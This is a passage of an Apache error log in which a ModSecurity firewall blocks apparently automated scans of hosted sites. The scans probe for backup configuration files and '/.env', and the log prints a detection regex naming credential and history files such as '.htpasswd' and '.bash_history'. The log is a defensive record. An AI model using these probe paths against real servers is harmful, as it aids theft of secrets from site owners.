648189:tid 648255] [remote 57.141.14.95:65273] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:20.396913 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.95:65273] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:20.413748 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.8:20111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:20.414031 2026] [access_compat:error] [pid 646876:tid 646947] [remote 57.141.14.8:20111] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:20.459505 2026] [security2:error] [pid 646876:tid 647119] [client 185.177.72.9:15698] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.inc.php.bak"] [unique_id "ai3ziNyTkdrNlD40tSG5egAAAG8"] [Sat Jun 13 18:19:20.488111 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2Uvd2FrZXVwL3dha2V1cDMz [Sat Jun 13 18:19:20.488567 2026] [access_compat:error] [pid 646876:tid 646916] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9kZXZpY2Uvd2FrZXVwL3dha2V1cDMz [Sat Jun 13 18:19:20.724813 2026] [security2:error] [pid 648189:tid 648472] [client 185.177.72.9:15700] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/connect.php.bak"] [unique_id "ai3ziFWSojQL4F7upKB4wQAAAPY"] [Sat Jun 13 18:19:20.763137 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.39:33484] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:20.763537 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.39:33484] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:20.921531 2026] [security2:error] [pid 648189:tid 648272] [remote 17.22.253.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ziFWSojQL4F7upKB4yQAAmzI"] [Sat Jun 13 18:19:20.998950 2026] [security2:error] [pid 646876:tid 647112] [client 185.177.72.9:15712] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/connection.php.bak"] [unique_id "ai3ziNyTkdrNlD40tSG5gwAAAGg"] [Sat Jun 13 18:19:21.039355 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:19:21.039648 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:19:21.055623 2026] [security2:error] [pid 646876:tid 647110] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/filter/tests/014.phpt"] [unique_id "ai3zidyTkdrNlD40tSG5hgAAAGY"] [Sat Jun 13 18:19:21.097866 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.76:27565] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:21.098174 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.76:27565] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:21.158927 2026] [security2:error] [pid 648189:tid 648224] [remote 17.241.219.104:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 104.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ziVWSojQL4F7upKB40gAAtQQ"] [Sat Jun 13 18:19:21.192737 2026] [security2:error] [pid 648189:tid 648343] [remote 57.141.14.64:46466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3ziVWSojQL4F7upKB41QAAxng"], referer: https://nelsonfarmstn.com/product/honeysuckle-jasmine/?add_to_wishlist=3073&_wpnonce=8d149de2a5&add-to-cart=1255 [Sat Jun 13 18:19:21.262917 2026] [security2:error] [pid 646876:tid 647074] [client 185.177.72.9:15716] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/conn.php.bak"] [unique_id "ai3zidyTkdrNlD40tSG5hwAAAEI"] [Sat Jun 13 18:19:21.267865 2026] [security2:error] [pid 648189:tid 648483] [client 34.170.189.242:1404] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "chilleddiver.odeonsite-stalbans.co.uk"] [uri "/.env"] [unique_id "ai3ziVWSojQL4F7upKB42wAAAQE"] [Sat Jun 13 18:19:21.284722 2026] [security2:error] [pid 648189:tid 648475] [client 34.170.189.242:1418] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "chilleddiver.com"] [uri "/.env"] [unique_id "ai3ziVWSojQL4F7upKB43AAAAPk"] [Sat Jun 13 18:19:21.530455 2026] [security2:error] [pid 646876:tid 647063] [client 185.177.72.9:15730] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/conn.asp.bak"] [unique_id "ai3zidyTkdrNlD40tSG5iQAAADc"] [Sat Jun 13 18:19:21.549106 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2U= [Sat Jun 13 18:19:21.549378 2026] [access_compat:error] [pid 646876:tid 646926] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21pY2U= [Sat Jun 13 18:19:21.573970 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.60:33934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:21.574249 2026] [access_compat:error] [pid 646876:tid 647002] [remote 57.141.14.60:33934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:21.667450 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:15730] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/connection.asp.bak"] [unique_id "ai3zidyTkdrNlD40tSG5jwAAABM"] [Sat Jun 13 18:19:21.802955 2026] [security2:error] [pid 646876:tid 647130] [client 185.177.72.9:15730] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/config.jsp.bak"] [unique_id "ai3zidyTkdrNlD40tSG5kQAAAHo"] [Sat Jun 13 18:19:21.848556 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.102:28567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:21.848843 2026] [access_compat:error] [pid 648189:tid 648327] [remote 57.141.14.102:28567] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:21.921547 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.103:33028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:21.922022 2026] [access_compat:error] [pid 648189:tid 648238] [remote 57.141.14.103:33028] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:21.946786 2026] [security2:error] [pid 646876:tid 647050] [client 185.177.72.9:15730] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/config.ini.bak"] [unique_id "ai3zidyTkdrNlD40tSG5kgAAACo"] [Sat Jun 13 18:19:22.019389 2026] [security2:error] [pid 648189:tid 648303] [remote 17.22.253.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zilWSojQL4F7upKB4_AAAmlE"] [Sat Jun 13 18:19:22.080859 2026] [security2:error] [pid 646876:tid 647092] [client 185.177.72.9:15730] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/config.inc.php.bak"] [unique_id "ai3zityTkdrNlD40tSG5lwAAAFQ"] [Sat Jun 13 18:19:22.084798 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:19:22.085078 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ2L3Bvd2Vy [Sat Jun 13 18:19:22.143351 2026] [proxy:error] [pid 646876:tid 647079] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:22.143437 2026] [proxy_http:error] [pid 646876:tid 647079] [client 157.230.49.82:55622] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:19:22.143932 2026] [proxy:error] [pid 646876:tid 647079] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:22.143962 2026] [proxy_http:error] [pid 646876:tid 647079] [client 157.230.49.82:55622] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:19:22.175959 2026] [security2:error] [pid 646876:tid 646954] [remote 17.246.23.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zityTkdrNlD40tSG5nQAAMks"] [Sat Jun 13 18:19:22.230682 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.102:28579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:22.231137 2026] [access_compat:error] [pid 648189:tid 648285] [remote 57.141.14.102:28579] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:22.344638 2026] [security2:error] [pid 648189:tid 648483] [client 185.177.72.9:15744] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/config_ucenter.php.bak"] [unique_id "ai3zilWSojQL4F7upKB5GgAAAQE"] [Sat Jun 13 18:19:22.361312 2026] [proxy:error] [pid 648189:tid 648365] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:22.361419 2026] [proxy_http:error] [pid 648189:tid 648365] [client 157.230.49.82:55638] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.serviciosnevarez.com/ [Sat Jun 13 18:19:22.362857 2026] [proxy:error] [pid 648189:tid 648365] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:22.362909 2026] [proxy_http:error] [pid 648189:tid 648365] [client 157.230.49.82:55638] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcalendars.serviciosnevarez.com/ [Sat Jun 13 18:19:22.446979 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.19:32400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:22.447431 2026] [access_compat:error] [pid 648189:tid 648292] [remote 57.141.14.19:32400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:22.455839 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.44:59999] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:22.456108 2026] [access_compat:error] [pid 648189:tid 648277] [remote 57.141.14.44:59999] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:22.612612 2026] [security2:error] [pid 646876:tid 647077] [client 185.177.72.9:15752] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config/config_global.php.bak"] [unique_id "ai3zityTkdrNlD40tSG5rQAAAEU"] [Sat Jun 13 18:19:22.638712 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:19:22.638987 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:19:22.680536 2026] [proxy:error] [pid 646876:tid 647132] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:19:22.680584 2026] [proxy_http:error] [pid 646876:tid 647132] [client 157.230.49.82:38082] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:19:22.681275 2026] [proxy:error] [pid 646876:tid 647132] (111)Connection refused: AH00957: http: attempt to connect to 